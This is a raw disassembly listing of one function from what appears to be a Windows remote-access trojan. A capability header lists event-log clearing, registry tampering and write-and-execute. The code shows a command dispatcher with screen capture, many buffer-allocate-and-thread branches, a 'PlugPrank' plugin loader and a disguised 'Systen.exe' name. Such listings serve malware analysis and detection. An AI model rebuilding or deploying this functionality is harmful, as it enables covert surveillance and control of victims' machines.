Function at 0x40a2f0
Capabilities:
Access the windows event log
Clear windows event logs
Disable system features via registry on windows
Get common file path
Get comspec environment variable
Get file size
Query environment variable
Read file on windows
Set registry value
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x435a60
mov eax, dword fs:[0]
push eax
sub esp, 0xd2c
mov eax, dword [0x446040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0xd38], edi
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xd2c], esi
mov dword [ebp - 0xd20], ecx
movzx eax, byte [esi]
cmp eax, 0xad
ja case.0x40a34c.2
movzx eax, byte [eax + 0x40d0b4]
jmp dword [eax*4 + 0x40cf84]
cmp byte [esi + 1], 0
jne case.0x40a34c.2
push 0
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
push esi
mov dword [ebp - 0xd20], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 8
push esi
mov esi, dword [sym.imp.GDI32.dll_GetDeviceCaps]
mov dword [ebp - 0xd2c], eax
call esi
push 0xa
push dword [ebp - 0xd20]
mov edi, eax
call esi
mov esi, eax
push esi
push edi
push dword [ebp - 0xd20]
mov dword [ebp - 0xd24], esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push eax
push dword [ebp - 0xd2c]
mov dword [ebp - 0xd34], eax
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push dword [ebp - 0xd20]
push esi
push edi
push 0
push 0
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x2e8], edi
shl edi, 5
mov dword [ebp - 0x2e4], esi
mov dword [ebp - 0x2ec], 0x28
mov dword [ebp - 0x2e0], 0x200001
lea eax, [edi + 0x1f]
mov dword [ebp - 0x2cc], 0
cdq
and edx, 0x1f
mov dword [ebp - 0x2d8], 0
mov dword [ebp - 0x2dc], 0
mov dword [ebp - 0x2c8], 0
mov dword [ebp - 0x2d4], 0
lea edi, [edx + eax]
mov dword [ebp - 0x2d0], 0
sar edi, 5
mov eax, 0x4d42
imul edi, esi
mov word [ebp - 0x20], ax
xor eax, eax
mov dword [ebp - 0x16], 0x36
mov dword [ebp - 0x1a], eax
shl edi, 2
push edi
lea esi, [edi + 0x36]
mov dword [ebp - 0x1e], esi
call fcn.0041383c
push edi
push 0
push eax
mov dword [ebp - 0xd30], eax
call fcn.004166e0
add esp, 0x10
lea eax, [ebp - 0x2ec]
push 0
push eax
push dword [ebp - 0xd30]
push dword [ebp - 0xd24]
push 0
push dword [ebp - 0xd34]
push dword [ebp - 0xd2c]
call dword [sym.imp.GDI32.dll_GetDIBits]
push esi
call fcn.0041383c
mov esi, eax
mov dword [ebp - 0xd18], esi
lea eax, [edi + 0x36]
push eax
push 0
push esi
call fcn.004166e0
movq xmm0, qword [ebp - 0x20]
mov ecx, dword [ebp - 0x18]
mov ax, word [ebp - 0x14]
movq qword [esi], xmm0
mov dword [esi + 8], ecx
mov word [esi + 0xc], ax
lea eax, [esi + 0x36]
movups xmm0, xmmword [ebp - 0x2ec]
push edi
push dword [ebp - 0xd30]
movups xmmword [esi + 0xe], xmm0
push eax
movups xmm0, xmmword [ebp - 0x2dc]
movups xmmword [esi + 0x1e], xmm0
movq xmm0, qword [ebp - 0x2cc]
movq qword [esi + 0x2e], xmm0
call fcn.00416160
lea esi, [edi + 0x38]
push esi
call fcn.0041383c
push dword [ebp - 0x1e]
mov edi, eax
push dword [ebp - 0xd18]
lea edx, [edi + 2]
mov word [edi], 0xa9
push edx
call fcn.00416160
mov ecx, dword [ebp - 0xd38]
add esp, 0x2c
mov ecx, dword [ecx + 4]
push esi
push edi
call fcn.00401bb0
push dword [ebp - 0xd34]
mov esi, dword [sym.imp.GDI32.dll_DeleteObject]
call esi
push dword [ebp - 0xd2c]
call esi
push dword [ebp - 0xd20]
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0xd18]
call fcn.00413845
push dword [ebp - 0xd30]
call fcn.00413845
push edi
call fcn.00413845
add esp, 0xc
jmp case.0x40a34c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a5f0
test dl, dl
je 0x40a5ec
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a5f0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a5d0
xor eax, eax
jmp 0x40a5f5
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov dword [ebp - 0x20], 0x402060
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
je 0x40a618
mov dword [ebp - 0x20], 0x4020c0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [edi + 0xfac]
mov dword [edi + eax*4 + 0xc], esi
inc dword [edi + 0xfac]
jmp case.0x40a34c.2
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a6c6
test dl, dl
je 0x40a6c2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a6c6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a6a6
xor eax, eax
jmp 0x40a6cb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a6ec
mov dword [ebp - 0x20], 0x402120
jmp 0x40a618
mov dword [ebp - 0x20], 0x402180
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a760
test dl, dl
je 0x40a75c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a760
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a740
xor eax, eax
jmp 0x40a765
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a786
mov dword [ebp - 0x20], 0x4021e0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402240
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a7f3
test dl, dl
je 0x40a7ef
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a7f3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a7d3
xor eax, eax
jmp 0x40a7f8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a819
mov dword [ebp - 0x20], 0x4022a0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402300
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a886
test dl, dl
je 0x40a882
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a886
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a866
xor eax, eax
jmp 0x40a88b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a8ac
mov dword [ebp - 0x20], 0x402360
jmp 0x40a618
mov dword [ebp - 0x20], 0x4023c0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a920
test dl, dl
je 0x40a91c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a920
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a900
xor eax, eax
jmp 0x40a925
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a946
mov dword [ebp - 0x20], 0x402420
jmp 0x40a618
mov dword [ebp - 0x20], 0x402480
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40a9b3
test dl, dl
je 0x40a9af
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40a9b3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40a993
xor eax, eax
jmp 0x40a9b8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40a9d9
mov dword [ebp - 0x20], 0x4024e0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402540
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aa46
test dl, dl
je 0x40aa42
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aa46
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aa26
xor eax, eax
jmp 0x40aa4b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aa6c
mov dword [ebp - 0x20], 0x4025a0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402600
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40aae0
test dl, dl
je 0x40aadc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40aae0
add eax, 2
add ecx, 2
test dl, dl
jne 0x40aac0
xor eax, eax
jmp 0x40aae5
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab06
mov dword [ebp - 0x20], 0x402660
jmp 0x40a618
mov dword [ebp - 0x20], 0x4026c0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ab73
test dl, dl
je 0x40ab6f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ab73
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ab53
xor eax, eax
jmp 0x40ab78
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ab99
mov dword [ebp - 0x20], 0x402720
jmp 0x40a618
mov dword [ebp - 0x20], 0x402780
jmp 0x40a618
push 0
push 0
push 0
push 0
mov dword [ebp - 0x20], 0x409e70
mov dword [ebp - 0x1c], 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xd20]
push 4
dec eax
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ac60
test dl, dl
je 0x40ac5c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ac60
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ac40
xor eax, eax
jmp 0x40ac65
sbb eax, eax
or eax, 1
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateEventA]
push 0
jne 0x40acc1
mov dword [ebp - 0x20], 0x4027e0
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a650
mov dword [ebp - 0x20], 0x402840
call eax
push 0
push 0
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
push eax
push 0x412df0
push 0
push 0
call fcn.0041e55a
add esp, 0x18
mov esi, eax
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push dword [ebp - 0x14]
call eax
push dword [ebp - 0x14]
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
jmp 0x40a650
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ad64
test dl, dl
je 0x40ad60
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ad64
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ad44
xor eax, eax
jmp 0x40ad69
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ad8a
mov dword [ebp - 0x20], 0x4028a0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402900
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40adf7
test dl, dl
je 0x40adf3
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40adf7
add eax, 2
add ecx, 2
test dl, dl
jne 0x40add7
xor eax, eax
jmp 0x40adfc
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40ae1d
mov dword [ebp - 0x20], 0x402960
jmp 0x40a618
mov dword [ebp - 0x20], 0x4029c0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop word [eax + eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40ae90
test dl, dl
je 0x40ae8c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40ae90
add eax, 2
add ecx, 2
test dl, dl
jne 0x40ae70
xor eax, eax
jmp 0x40ae95
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40aeb6
mov dword [ebp - 0x20], 0x402960
jmp 0x40a618
mov dword [ebp - 0x20], 0x402a20
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40af23
test dl, dl
je 0x40af1f
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40af23
add eax, 2
add ecx, 2
test dl, dl
jne 0x40af03
xor eax, eax
jmp 0x40af28
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40af49
mov dword [ebp - 0x20], 0x402a80
jmp 0x40a618
mov dword [ebp - 0x20], 0x402ae0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40afb6
test dl, dl
je 0x40afb2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40afb6
add eax, 2
add ecx, 2
test dl, dl
jne 0x40af96
xor eax, eax
jmp 0x40afbb
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40afdc
mov dword [ebp - 0x20], 0x402b40
jmp 0x40a618
mov dword [ebp - 0x20], 0x402ba0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b050
test dl, dl
je 0x40b04c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b050
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b030
xor eax, eax
jmp 0x40b055
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b076
mov dword [ebp - 0x20], 0x402c00
jmp 0x40a618
mov dword [ebp - 0x20], 0x402c60
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b0e3
test dl, dl
je 0x40b0df
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b0e3
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b0c3
xor eax, eax
jmp 0x40b0e8
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b109
mov dword [ebp - 0x20], 0x402cc0
jmp 0x40a618
mov dword [ebp - 0x20], 0x402d20
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b176
test dl, dl
je 0x40b172
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b176
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b156
xor eax, eax
jmp 0x40b17b
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b19c
mov dword [ebp - 0x20], 0x402d80
jmp 0x40a618
mov dword [ebp - 0x20], 0x402de0
jmp 0x40a618
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x403db0
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 1]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
mov ecx, dword [ebp - 0xd20]
dec ecx
push ecx
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [edi + 0xfb0]
add esp, 0xc
mov ecx, 0x440ac4
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b260
test dl, dl
je 0x40b25c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b260
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b240
xor eax, eax
jmp 0x40b265
sbb eax, eax
or eax, 1
push 0
push 0
push 0
test eax, eax
mov eax, dword [ebp - 0xd18]
push 0
mov dword [ebp - 0x1c], eax
jne 0x40b286
mov dword [ebp - 0x20], 0x402e40
jmp 0x40a618
mov dword [ebp - 0x20], 0x402ea0
jmp 0x40a618
push 4
lea eax, [ecx - 1]
push 0x3000
push eax
push 0
mov dword [ebp - 0xd24], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0xd18], eax
test eax, eax
je case.0x40a34c.2
push dword [ebp - 0xd24]
lea ecx, [esi + 1]
push ecx
push eax
call fcn.00416160
mov eax, dword [ebp - 0xd18]
add esp, 0xc
mov dword [ebp - 0x20], 0x402f00
mov dword [ebp - 0x1c], eax
push 0
push 0
push 0
push 0
jmp 0x40a618
push 4
push 0x3000
lea eax, [ecx - 2]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
test edi, edi
je case.0x40a34c.2
mov eax, dword [ebp - 0xd20]
lea ecx, [esi + 2]
add eax, 0xfffffffe
push eax
push ecx
push edi
call fcn.00416160
movzx eax, byte [esi + 1]
add esp, 0xc
mov ecx, edi
mov dword [ebp - 0xd24], eax
call fcn.00411270
mov esi, eax
test esi, esi
je 0x40b35c
mov edx, str.PlugPrank
mov ecx, esi
call fcn.004115e0
push 0x44a490
push dword [ebp - 0xd24]
push 0x441616
call eax
add esp, 0xc
mov ecx, esi
call fcn.00411670
push 0x8000
push 0
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp case.0x40a34c.2
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403eb0
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x403d00
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
mov dword [ebp - 0x20], 0x408320
mov eax, dword [edi + 4]
push 0
push 0
push 0
mov eax, dword [eax + 0x48]
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
mov dword [ebp - 0x20], 0x408330
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408360
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408390
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x4083c0
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x4083f0
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408420
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408450
jmp 0x40b3aa
mov dword [ebp - 0x20], 0x408480
jmp 0x40b3aa
push 0
push 0
lea eax, [esi + 1]
mov dword [ebp - 0x20], 0x408680
push 0
mov dword [ebp - 0x1c], eax
push 0
jmp 0x40a618
mov ax, word [0x440ef4]
xorps xmm0, xmm0
movups xmmword [ebp - 0x248], xmm0
mov dword [ebp - 0x238], 0xa
movq xmm0, qword [str.Systen.exe]
mov dword [ebp - 0x234], 0xf
movq qword [ebp - 0x248], xmm0
mov word [ebp - 0x240], ax
mov byte [ebp - 0x23e], 0
lea ecx, [ebp - 0x248]
mov dword [ebp - 4], 0
call fcn.0040a230
push 0
test al, al
je 0x40b4a6
push str.C:ProgramDatagotohttp.ini
call fcn.0041d040
add esp, 8
cmp eax, 0xffffffff
je 0x40b526
call fcn.00410ef0
mov ecx, eax
test ecx, ecx
je 0x40cf45
